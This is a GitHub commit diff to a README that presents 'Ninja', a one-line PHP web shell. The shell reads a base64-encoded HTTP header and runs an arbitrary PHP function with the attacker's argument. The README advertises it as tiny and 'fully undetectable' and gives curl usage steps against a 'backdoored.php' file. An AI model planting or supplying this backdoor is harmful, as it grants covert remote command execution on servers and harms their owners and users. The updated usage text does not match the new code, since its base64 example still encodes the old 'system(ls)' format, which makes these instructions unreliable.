Skip to content

Commit

Permalink
updated ninja
Browse files Browse the repository at this point in the history
  • Loading branch information
s0md3v authored May 27, 2018
1 parent 790586a commit f755c89
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,15 +24,15 @@ For example, the code below will execute the `ls` command:

### Ninja
```php
<?preg_match('/(.*)\((.*)\)/',base64_decode(substr(getallheaders()['x'],1)),$c);@$c[1]($c[2]);
<?$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);
```
#### Features
- 93 bytes in size
- Fully Undetectable

#### Usage
This one a bit complex.\
Lets say you want to run `system(ls)` so you will need to base64 encode it i.e. `c3lzdGVtKGxzKQ==`\
Lets say you want to run `system(ls)` so write it as `system~` and then base64 encode it i.e. `c3lzdGVtKGxzKQ==`\
Now add any **1** character at the start of it. Let say 'x' so it will be `xc3lzdGVtKGxzKQ==`\
Now open your terminal and type the following command\
`curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php`\
Expand Down

0 comments on commit f755c89

Please sign in to comment.